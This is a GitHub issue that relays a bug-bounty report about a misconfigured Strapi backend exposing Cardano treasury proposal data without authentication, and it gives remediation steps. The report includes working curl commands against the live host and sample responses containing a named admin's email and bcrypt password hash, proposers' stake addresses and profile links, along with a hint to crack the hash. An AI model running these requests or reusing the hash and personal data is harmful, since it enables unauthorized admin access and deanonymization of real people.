IntersectMBO / IntersectMBO/govtool

πŸ› [Bounty] - Unauthenticated Mass Exposure of Cardano Treasury Budget Proposals, Financial Data, and Admin Credentials via Misconfigured Strapi Public Role

Open
#4,159 1 comment 0 reactions 1 assignee Assigned to @kusssal View on GitHub
πŸ› Bug πŸ‘€ Triaged πŸ“œ Proposal Pillar
Dominant language
HTML
Stars
21
Forks
29
Avg merge
2d 22h
Merged PRs (30d)
7

Description

### Context

**Report received through the security mailbox**

# Security Vulnerability Report

## Author
* **Reported by:** Mahfoud Hamarerras β€” Cybersecurity Researcher
* **Contact:** hamarerras.mahfoud@gmail.com

---

## Description

* **Title:** Unauthenticated Mass Exposure of Cardano Treasury Budget Proposals, Financial Data, and Admin Credentials via Misconfigured Strapi Public Role
* **Vulnerability Class:** Broken Access Control β€” Unauthenticated Sensitive Data Exposure (CWE-284) + PII Disclosure (CWE-359) + Credential Exposure (CWE-522)
* **Affected Asset:** `https://be.pdf.gov.tools`
* **Vulnerable Endpoints:**
- `GET /api/bds` β€” Returns 715 budget proposal records including admin password hash
- `GET /api/bd-costings` β€” Returns 835 cost breakdowns with exact ADA/USD amounts
- `GET /api/proposals` β€” Returns 70 proposals with full text and proposer identities
- `GET /api/bd-psapbs` β€” Returns 835 proposal sub-records with full narrative content
- `GET /api/bd-further-informations` β€” Returns 764 metadata records with social profile links

---

## Severity

**CVSS 3.1 Score: 9.0 β€” Critical**
**Escalated vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H`

| Vector | Value | Reason |
|--------|-------|--------|
| `AV:N` | Network | Anyone on the internet can exploit this with a single HTTP request |
| `AC:H` | High | Admin access requires cracking the bcrypt hash first |
| `PR:N` | None | No account or credentials needed |
| `UI:N` | None | No user interaction needed |
| `S:C` | Changed | Cracking the hash gives access to the Strapi admin panel, which controls the entire platform |
| `C:H` | High | Full financial data, PII, and admin credentials are exposed |
| `I:H` | High | Admin panel access would allow modification of all proposals |
| `A:H` | High | Admin panel access would allow deletion of all proposals |

---

## Summary

The Strapi v4 backend at `be.pdf.gov.tools` β€” which powers the Cardano GovTool budget proposal platform β€” is misconfigured to allow anyone on the internet to read all proposal data without logging in.

A single `curl` command with no credentials returns:

- **715 budget proposals** for the Cardano treasury process
- **835 cost breakdowns** with exact ADA and USD amounts
- **70 proposals** with full text content, proposer usernames, internal user IDs, and receiving stake addresses
- **764 metadata records** with social profile links that identify proposers
- **The bcrypt password hash of the Strapi super-admin** (Vukasin Paunovic, `vukasin.paunovic@intersectmbo.org`, admin ID: 1), leaked across **122 out of 715 records** via the `updatedBy` relation

The largest single funding request in the exposed data is **11,070,322 ADA (~$7.3M USD)**.

### Steps to reproduce

## Steps to Reproduce

### **Prerequisites:**
* ***None. No account, token, or special tool needed.***
* ***A browser or `curl` is sufficient.***

---

### Endpoint 1 β€” List All Budget Proposals (with Admin Hash Leak)
**URL:**
```
https://be.pdf.gov.tools/api/bds?populate=*
```
**Curl:**
```bash
curl -g "https://be.pdf.gov.tools/api/bds?populate=*" | jq .
```
**Critical findings:**
- 715 budget proposals returned with no credentials
- 100% expose creator identity β€” `govtool_username` and `user_id` for all proposers
- **122 of 715 records** expose the Strapi super-admin bcrypt hash via the `updatedBy` relation
- Admin exposed: Vukasin Paunovic (`vukasin.paunovic@intersectmbo.org`), admin ID: 1
- Cracking this hash gives full access to `https://be.pdf.gov.tools/admin/`

**Example response (record ID: 68 β€” live, tested 2026-04-25):**
```json
{
"id": 68,
"attributes": {
"privacy_policy": true,
"intersect_named_administrator": true,
"is_active": true,
"creator": {
"data": {
"id": 1547,
"attributes": {
"govtool_username": "eternl.drep.committee"
}
}
},
"updatedBy": {
"data": {
"id": 1,
"attributes": {
"firstname": "Vukasin",
"lastname": "Paunovic",
"email": "vukasin.paunovic@intersectmbo.org",
"password": "$2a$10$0PNu7bXhiyuonmoEZd442OPesPVDwoN4QschLsOiZsSMcP7w.fDoW",
"isActive": true
}
}
}
}
}
```

---

### Endpoint 2 β€” List All Financial Cost Breakdowns

**URL:**
```
https://be.pdf.gov.tools/api/bd-costings?populate=*
```
**Curl:**
```bash
curl -g "https://be.pdf.gov.tools/api/bd-costings?populate=*" | jq .
```
**Critical findings:**
- Largest single request: **11,070,322 ADA (~$7.3M USD)** (record ID: 9, confirmed live)
- Full breakdown includes ADA amounts, USD equivalents, and conversion rates
- Exposes salaries, team sizes, contractor rates, and infrastructure costs

**Example response (record ID: 9 β€” live, tested 2026-04-25):**
```json
{
"id": 9,
"attributes": {
"ada_amount": "11070322.68",
"amount_in_preferred_currency": "7307520",
"usd_to_ada_conversion_rate": "0.6601",
"preferred_currency": {
"data": {
"id": 1,
"attributes": {
"currency_name": "United States Dollar",
"currency_letter_code": "USD",
"currency_number_code": "840"
}
}
}
}
}
```

---

### Endpoint 3 β€” List Proposals with Full Text and Proposer Identities

**URL:**
```
https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100
```
**Curl:**
```bash
curl -g "https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100" | jq .
```
**Critical findings:**
- Every record exposes `user_id`, `user_govtool_username`, likes, dislikes, and comment counts
- Full proposal text is returned: `prop_abstract`, `prop_motivation`, `prop_rationale`
- **Receiving Cardano stake addresses** are exposed, linking blockchain identities directly to funding requests
- Withdrawal amounts are exposed per proposal

**Example response (record ID: 293 β€” live, tested 2026-04-25):**
```json
{
"id": 293,
"attributes": {
"user_id": "1963",
"user_govtool_username": "majestyle",
"prop_likes": 1,
"prop_dislikes": 0,
"prop_comments_number": 1,
"content": {
"data": {
"attributes": {
"prop_name": "Activate DeFi with USA – A Decentralized, Yield-Bearing Dollar for Cardano",
"prop_abstract": "This proposal seeks treasury support...",
"proposal_withdrawals": [
{
"prop_receiving_address": "stake1ux3xrtw9wjcsecycfelxyd8vy6c387c6zmqj7gwlg7aq7jqerellw",
"prop_amount": 75000000
}
]
}
}
}
}
}
```

---

### Endpoint 4 β€” List Proposal Sub-Records
**URL:**
```
https://be.pdf.gov.tools/api/bd-psapbs
```
**Curl:**
```bash
curl -g "https://be.pdf.gov.tools/api/bd-psapbs" | jq .
```
**Critical findings:**
- Full problem statements, proposal benefits, and business strategies are exposed
- Third-party endorsers are named (organizations and individuals who privately backed proposals)

**Example response (record ID: 2 β€” live, tested 2026-04-25):**
```json
{
"id": 2,
"attributes": {
"problem_statement": "Traditional professional networking platforms have centralized control of user data, lack proper verification systems for professional credentials, and don't incentivize valuable community contributions.",
"proposal_benefit": "Cardano Users: Bondex will serve as an interoperable online identity/passport...",
"supplementary_endorsement": "Emirgo",
"createdAt": "2025-04-01T15:03:13.948Z",
"updatedAt": "2025-04-01T15:03:13.948Z"
}
}
```

---

### Endpoint 5 β€” List Proposal Metadata with Social Profile Links
**URL:**
```
https://be.pdf.gov.tools/api/bd-further-informations
```
**Curl:**
```bash
curl -g "https://be.pdf.gov.tools/api/bd-further-informations" | jq .
```
**Critical findings:**
- Social and personal profile links (Twitter/X, GitHub, LinkedIn, Discord) are exposed
- These links directly connect real-world identities to specific Cardano treasury funding requests
- Enables cross-platform deanonymization of proposers

**Example response (records ID: 2 and 4 β€” live, tested 2026-04-25):**
```json
[
{
"id": 2,
"attributes": {
"proposal_links": [
{ "prop_link": "https://bondex.app/p/Ignacio" },
{ "prop_link": "https://bondex.page.link/z2k2f2tfw8trMKzt5?inviteCode=ii42n" }
],
"createdAt": "2025-04-01T15:03:14.013Z"
}
},
{
"id": 4,
"attributes": {
"proposal_links": [
{ "prop_link": "https://x.com/sebastiengllmt/status/1898226507874697499" }
],
"createdAt": "2025-04-01T15:03:14.533Z"
}
}
]
```

---

## PoC Summary
| Endpoint | HTTP Status | URL | Curl Command | Records | Auth Required | Status |
|---|---|---|---|---|---|---|
| `GET /api/bds` | `200 OK` | `https://be.pdf.gov.tools/api/bds?populate=*` | `curl -g "https://be.pdf.gov.tools/api/bds?populate=*" \| jq .` | 715 | None | **VULNERABLE** |
| `GET /api/bd-costings` | `200 OK` | `https://be.pdf.gov.tools/api/bd-costings?populate=*` | `curl -g "https://be.pdf.gov.tools/api/bd-costings?populate=*" \| jq .` | 835 | None | **VULNERABLE** |
| `GET /api/proposals` | `200 OK` | `https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100` | `curl -g "https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100" \| jq .` | 70 | None | **VULNERABLE** |
| `GET /api/bd-psapbs` | `200 OK` | `https://be.pdf.gov.tools/api/bd-psapbs` | `curl -g "https://be.pdf.gov.tools/api/bd-psapbs" \| jq .` | 835 | None | **VULNERABLE** |
| `GET /api/bd-further-informations` | `200 OK` | `https://be.pdf.gov.tools/api/bd-further-informations` | `curl -g "https://be.pdf.gov.tools/api/bd-further-informations" \| jq .` | 764 | None | **VULNERABLE** |

### Actual behavior

## Business and Governance Impact

1. **Full treasury intelligence leak.** All 715 proposals β€” including drafts and pre-announcement submissions β€” are readable by anyone. This allows front-running, competitive manipulation, and targeted lobbying before proposals are formally published.

2. **Proposer identity exposure.** 70 users have their GovTool username and internal user ID directly linked to their financial proposals. The platform's own `privacy_policy` field confirms privacy controls are supposed to exist β€” but the API does not enforce them.

3. **Stake address exposure.** The `/api/proposals` endpoint returns the Cardano stake addresses that proposers nominated to receive treasury funds. This directly links real-world blockchain identities to specific funding requests.

4. **Admin credential leak.** The bcrypt hash `$2a$10$0PNu7bXhiyuon...` belonging to the platform super-admin appears in **122 separate API responses**. This is not a one-off edge case β€” it is systemic. If the hash is cracked (e.g. via hashcat), the attacker gains full Strapi admin access, allowing them to read, edit, or delete all 715+ proposals.

5. **Zero skill required.** This is a single unauthenticated HTTP GET request. Any journalist, competitor, lobbyist, or attacker can run it today.

6. **Source code confirms the exposure is accidental.** The public GitHub repository at `github.com/twwu123/ekklesia` hardcodes `https://be.pdf.gov.tools/api/bds` and fetches proposals without authentication, confirming this is a misconfiguration, not an intentional public API.

### Expected behavior

---

## Remediation

### Immediate β€” Do Within 24 Hours

**1. Revoke public read permissions** in the Strapi admin panel:

> Strapi Admin β†’ Settings β†’ Users & Permissions β†’ Roles β†’ **Public** β†’ uncheck `find` and `findOne` for: `bds`, `bd-costings`, `proposals`, `bd-psapbs`, `bd-further-informations`

This stops unauthenticated access without any code deployment.

**2. Rotate the admin password** for `vukasin.paunovic@intersectmbo.org` immediately. The bcrypt hash has been publicly accessible and should be treated as compromised.

**3. Block the `updatedBy` relation from populating** for all public-facing content types, even after public permissions are revoked, to prevent hash re-exposure if permissions are accidentally re-enabled.

### Short-Term β€” Do Within 7 Days

4. **Require JWT authentication** for all budget endpoints. Only authenticated GovTool users with the right roles should access proposal data.
5. **Enforce the `privacy_policy` field** at the API level. Proposals with `privacy_policy: true` must not be returned to unauthenticated requests.
6. **Strip PII from responses** where it is not needed: `user_id`, `user_govtool_username`, `intersect_named_administrator`, and stake addresses should not appear in unauthenticated responses.

### Long-Term

7. **Add field-level access control.** Even for authenticated users, proposers should only be able to read their own draft data.
8. **Add API rate limiting** to prevent bulk enumeration of all records in one session.
9. **Update the public GitHub repository** at `github.com/twwu123/ekklesia` to use an authenticated endpoint instead of the unauthenticated backend URL.
10. **Audit all Strapi role configurations** across the Intersect infrastructure. The same Public role misconfiguration was independently found on `api.members.intersectmbo.org`.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.